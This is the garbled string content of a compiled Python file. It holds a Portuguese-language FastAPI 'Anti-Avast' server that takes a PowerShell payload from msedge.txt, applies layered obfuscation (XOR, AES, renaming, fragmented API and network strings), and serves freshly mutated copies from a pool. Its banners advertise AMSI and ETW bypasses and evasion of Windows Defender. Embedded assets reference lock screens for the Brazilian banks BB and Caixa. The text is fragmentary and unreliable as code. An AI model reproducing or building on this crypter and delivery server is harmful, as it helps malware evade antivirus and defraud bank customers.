    v8.3: Decodifica blocos XOR em Python e compara com o b64 original.
    Impede servir asmC/asmG corrompidos (logos/banners das travas BB/Caixa).
    Nzbloco XOR ausente para zvalidacao XOR falhou em r  zassembly corrompido apos XOR: z (conteudo diverge)z$script:_asmG_b64z/9j/zutf-16leiVBORw0KGgorZ   rj   zasmG sem assets de trava (jpeg=z, png=z); logos/banners ausentes)r  dictr  r  getr  r  r   rS   r  rU   count)r  r  expectedblocksr  rX   r|  restoredr   r  jpeg_patpng_patjpeg_npng_nrB   rB   rC   validate_protected_assemblies  s0    
(




r  c                 C   s   |dkrt  }| dr&| dd } d| k}| dd} g g dd}i }dd	 }|| \} }| }t| } t| } t||  t| |} t| |} |	 D ]\}}| ||} q|
d
drt| |\} }	}
|
t|	< |
ddrt| } n |r| dd} | S )u   
    Aplica TODAS as camadas de proteção do proteger.py v8.1.
    Esta função é thread-safe (não usa estado global mutável).
    
    v8.1: Adicionada proteção de assemblies contra W11 Defender
    Nu   ﻿rZ   r  r   r   r,   c           	      S   s   i }dg}ddddg}|D ]f\}}t || t j}|r|d}d|  d|d  d}|||< | ||d	} |d  d	7  < q| |fS )
Nr   )z>(\$script:_dxgiWorkerSrc\s*=\s*@')([^']*(?:'(?!@)[^']*)*?)('@)dxgi)z;(\$script:_dpiDxgiSrc\s*=\s*@')([^']*(?:'(?!@)[^']*)*?)('@)dpi)z8(\$NativeCode\s*=\s*@\")([^\"]*(?:\"(?!@)[^\"]*)*)(\"\@)native)z9(\$SpawnerCode\s*=\s*@\")([^\"]*(?:\"(?!@)[^\"]*)*)(\"\@)spawner__HERESTRING_r?   r  rZ   )rx  ry  DOTALLrz  upperr  )	code_strplaceholdersplaceholder_idxr@  rg  rK   r  
full_matchr  rB   rB   rC   extract_herestringsS  s     
z2protect_code_complete.<locals>.extract_herestringsr   Tr*   F)r  copyrX  r  r  r  r  r  r2  r  r  rw  _aes_pending_keysr  )r   r/  original_has_crlfr  herestring_placeholdersr  asm_before_xorr  r  _key_id_key_b64rB   rB   rC   protect_code_complete1  s:    





r  c                   @   s   e Zd ZdZdd ZeejdddZee	dddZ
eee dd	d
Zdd ZedddZd eedddZeee dddZedddZedddZdd ZedddZdS )!CodePoolu   
    Pool de códigos pré-gerados.
    - Gera códigos em background
    - Cliente recebe código instantâneo
    - ZERO perda de clientes
    c                 C   sv   i | _ i | _i | _i | _i | _t | _t	 | _
d| _ddddd| _ttd D ]}tj| jdd}|  qTd S )NTr   )	generatedserved_from_poolserved_generatedtotal_requestsr6   )targetdaemon)pools	key_poolssource_cachesource_mtimelocks	threadingLockglobal_lockqueueQueuegenerator_queuerunningstatsrH   POOL_CONFIGThread_generator_workerr   )selfr   rf  rB   rB   rC   __init__  s     

zCodePool.__init__)folderr   c              
   C   s@   | j 0 || jkr t | j|< | j| W  5 Q R  S Q R X d S r9   )r  r  r  r  r  r  rB   rB   rC   	_get_lock  s    
zCodePool._get_lockc                 C   sd   t d }t d }|r$tj|||ntj||}tj|sBdS tj|}| j|d}||kS )z/Verifica se o arquivo msedge.txt foi modificador   r   Fr   )SERVER_CONFIGr   r   rG   r   getmtimer  r  )r  r  basesrcr   mtimecached_mtimerB   rB   rC   _check_file_changed  s    "zCodePool._check_file_changedc              
   C   s  t d }t d }|r$tj|||ntj||}tj|sBd S tj|}|| jkrt| j|d|krt| j| S zt	|d}|
 }W 5 Q R X |dr|dd  dn|d}|| jk}	|| j|< || j|< || jkr8t| j| }
| | | j|   W 5 Q R X |	r8td|p(d	 d
|
 d td|pDd	 dt|dd |W S  tk
r } ztd| d|  W Y d S d }~X Y nX d S )Nr   r   r   rbs   ﻿r   rp   z&[RELOAD] *** msedge.txt ATUALIZADO em raizz! Pool limpo (z payloads descartados) ***z[CACHE] Carregado r  r\   z charsz[ERRO] Carregar )r  r   r   rG   r   r  r  r  r  r   readrX  rV   r   ry   r  clearr   r   )r  r  r  r  r   r  r   r  r   
was_cachedold_sizer   rB   rB   rC   _load_source  s4    "
&


"zCodePool._load_sourcec              
   C   s|   | j rxz&| jjdd}| | | j  W q  tjk
rF   Y q Y q  tk
rt } ztd|  W 5 d }~X Y q X q d S )NrZ   )timeoutz[ERRO] Generator: )	r  r
  r  _generate_one	task_doner  Emptyr   r   )r  r  r   rB   rB   rC   r    s    
zCodePool._generator_workerr  c              
   C   sv  |  |}|sd S zt }i at|}t | d }| | || jkrdttd d| j|< || jkrttd d| j|< | j| 	| t
t}i a| D ]2\}}| j| 	||f t }	||	|< t|	 qW 5 Q R X | jd  d7  < t| j|g }
td|pd d|d	d
|
 d W nB tk
rp } z"td|  dd l}|  W 5 d }~X Y nX d S )Nr  r4   )maxlenr  rZ   z[POOL] Gerado para r  z em .0fz
ms (pool: rt   u   [ERRO] Gerar código: r   )r"  timer  r  r  r   r   r  r  r{   r  r  r   r   r  ry   r  r   r   	traceback	print_exc)r  r  sourcer   r  elapsedpendingkidkvalr   	pool_sizer   r+  rB   rB   rC   r$    s8    


(zCodePool._generate_onerZ   )r  r  c                 C   s   t |D ]}| j| qd S r9   )rH   r
  put)r  r  r  r?   rB   rB   rC   _request_generation  s    zCodePool._request_generationc              
   C   s  | j d  d7  < |r |dnd}td }td }|rHtj|||ntj||}tj|rtj|}| j	|d}||krt
d t
d	|pd
 d t
d|  t
d|  t
d|  t
d | | || jkrt| j| }| j|   t
d| d || jkrRt| j| }| j|   t
d| d || jkrf| j|= || jkrz| j|= W 5 Q R X t
d t
d | |}	|	sd S | | || jkrH| j| rH| j|  }
t| j| }| j d  d7  < |td k r| |td |  t
d|p(d
 d| d |
W  5 Q R  S W 5 Q R X t
d|p^d
 d i at|	}| j d  d7  < tt}i a| D ] \}}t }|||< t| q| |td  |S )Nr  rZ   /r8   r   r   r   z6[AUTO-RELOAD] ========================================u$   [AUTO-RELOAD] MUDANÇA DETECTADA em r  !z[AUTO-RELOAD] Arquivo: z[AUTO-RELOAD] mtime atual: z[AUTO-RELOAD] mtime cache: z[AUTO-RELOAD] Limpando TUDO...z[AUTO-RELOAD] Pool limpo: z payloads descartadosz[AUTO-RELOAD] Keys limpos: z chaves descartadasu1   [AUTO-RELOAD] Pronto! Próximo payload será NOVOr  r5   r3   z[POOL] Servido do pool z
 (restam: rt   z[POOL] Pool vazio para z, gerando...r  )r  r   r  r   r   rG   r   r  r  r  r   r  r   ry   r  r  r  r"  popleftr  r4  r  r  r  r  r   r   )r  r  r  r  r   current_mtimer  old_poolold_keysr-  r   r2  r  r/  r0  r1  r   rB   rB   rC   get_code"  sl    "

zCodePool.get_codec                 C   s(   t d|p
d d | |td  d S )Nu   [WARMUP] Pré-gerando para r  z...r3   )r   r4  r  r  rB   rB   rC   warmupn  s    zCodePool.warmupr   c              
   C   s   t d }t d }g }tjtj||r4|d zNt|D ]>}tj||}tj|r@tjtj||r@|| q@W n0 tk
r } zt	d|  W 5 d}~X Y nX |S )u,   Descobre todas as pastas que têm msedge.txtr   r   r8   z[ERRO] Ao escanear pastas: N)
r  r   r   r   rG   r{   listdirisdirr   r   )r  r  r  foldersitem	item_pathr   rB   rB   rC   discover_foldersr  s    
 zCodePool.discover_foldersc                 C   sN   |   }tdt| dtd   |D ] }| | td|p@d  q(dS )u/   Pré-aquece TODAS as pastas que têm msedge.txtz[WARMUP] Encontradas z pasta(s) com r   z[WARMUP] Iniciado: r  N)rB  r   ry   r  r<  )r  r?  r  rB   rB   rC   
warmup_all  s
    
zCodePool.warmup_allc                 C   sD   dd | j  D }| jd | jd | jd | jd || j dS )Nc                 S   s   i | ]\}}|pd t |qS r  )ry   )r>   r   prB   rB   rC   r    s      z&CodePool.get_stats.<locals>.<dictcomp>r  r  r  r  )r  r  r  r  
pool_sizes
queue_size)r   r  r  r
  qsize)r  
pools_inforB   rB   rC   	get_stats  s    zCodePool.get_statsN)rZ   )__name__
__module____qualname____doc__r  r^   r  r  r  boolr  r   r"  r  r$  r{  r4  r;  r<  rI  rB  rC  r  rJ  rB   rB   rB   rC   r    s   %!L	r  )FastAPI)PlainTextResponsez:ERRO: pip3 install fastapi uvicorn --break-system-packagesrZ   z(Servidor Completo + Pool v8.6 Anti-Avastz8.6)titleversionr   startupc                      s   t  td< t  td td td td td td td td td	 td
 td t  tdtd  dtd   tdtd   t  t  d S )Nr   zN==============================================================================z/  SERVIDOR v8.6 - ANTI-AVAST (W10/W11 Home/Pro)z/  [OK] ZERO PERDA DE CLIENTES - Sistema de poolz1  [OK] PRE-AQUECE TODAS AS PASTAS AUTOMATICAMENTEzB  [v8.6] Strings Win32 API fragmentadas (CreateProcessAsUser, etc)z<  [v8.6] Strings de rede fragmentadas (TcpClient, WebClient)z'  [v8.6] Caminhos de registro ofuscadosz$  [v8.5] DeflateStream em vez de AESz4  [v8.2] AMSI bypass hibrido PS5/PS7 (pAppName null)z[OK] Pool: min=r3   z, max=r4   z[OK] Threads geradoras: r6   )r   nowr  r   r  	code_poolrC  rB   rB   rB   rC   rT    s$    z	/proteger)response_classr'  c                    sp   t   }t| }|d kr0td| p$d ddS t   | d }td| pJd dt|dd	|d
d t|S )Nu&   # ERRO: msedge.txt não encontrado em r    status_coder  z[OK] z -> r\   z
 chars em r)  r  )r*  rV  r;  rQ  r   ry   )r  r   r   r.  rB   rB   rC   proteger  s    
(r[  z/warmupc                    s   t |  d| pddS )Nz
warming upr  )statusr  )rV  r<  r'  rB   rB   rC   r<    s    
r<  z/statsc                      sf   t d rtt t d  nd tt td td td td td td td td	 td
 d	dS )Nr   r   r    r!   r"   r#   r$   r%   r&   r*   )	sleep_jitterbypassstring_encrypt
var_renamefunc_renametype_obfuscationcomment_removalnumber_obfuscationdisk_encrypt)uptimeaes_fastpoolr/  )r  r^   r   rU  r   rV  rJ  r  rB   rB   rB   rC   rJ    s    rJ  z/healthc                     s0   t  } ddddddddt| dd | D d	
S )
Nokz8.6-anti-avastdeflateTzxor+chunks+reversepAppName_null_hybridc                 S   s   g | ]}|pd qS rD  rB   rD  rB   rB   rC   r&    s     zhealth.<locals>.<listcomp>)
r\  rS  compressionstring_obfuscationrh  asm_protectionamsi_bypass
etw_bypassfolders_detectedr?  )rV  rB  ry   )r?  rB   rB   rC   health  s    rr  z/k/{key_id})rO  c                    s&   t  }| |krt||  S tdddS )Nr8   rX  rY  )r   rQ  )rO  r   rB   rB   rC   get_aes_key	  s    rs  z	/assemblyc                      s   t tS r9   )rQ  rG  rB   rB   rB   rC   get_assembly	  s    rt  z/reloadc               
      sf   t j  t j  tt j D ](} t |  t j|    W 5 Q R X q"td t 	  dddS )z4Forca reload do msedge.txt e limpa todo o cache/poolzH[RELOAD] Cache e pools limpos! Proximo request vai usar msedge.txt novo.ri  zCache limpo e pools re-gerados)r\  message)
rV  r  r  r  rI  r   r   r  r   rC  r'  rB   rB   rC   force_reload	  s    

rv  z/foldersc                     sZ   t  } t  }g }| D ]2}|p"d}|d |d}||||dkd q|t| dS )z/Lista todas as pastas detectadas com msedge.txtr  rF  r   )r  r2  ready)r?  total)rV  rB  rJ  r  r{   ry   )r?  
pool_statsr  r  rK   r2  rB   rB   rC   list_folders	  s    
rz  __main__z:appr   r   info)r   r   r   	log_level)r7   r8   )rj   r   )N)r8   )r8   )rN  r   sysr*  r;   rE   rx  rS   ru  r   r  multiprocessingpathlibr   r   typingr   r   r   concurrent.futuresr   r  r  
subprocesstempfilecollectionsr   r  r
   r   r   r  r   r   ImportErrorr  r  PROJECT_CONFIGr  rL   rP   rY   ri   r   r   r   r   r   r   r   rD  PathLibr   rG  r  r   r   r   r   r^   tupler  r   r   r.  rw  r  r  r  r  r  r  r  r%  r(  r*  r+  r2  rA  rM  rN  rb  rh  rs  r{  r   r  r  r{  rO  r  r  r  r  r  r  r  r  r  r  r  rV  fastapirP  fastapi.responsesrQ  uvicornr   exitappr  on_eventrT  r  r[  r<  rJ  rr  rs  rt  rv  rz  rK  r   splitextbasenameargvscriptrunrB   rB   rB   rC   <module>   sP  
"
>
	,D "T=_&FC A"+m4@C%j  






  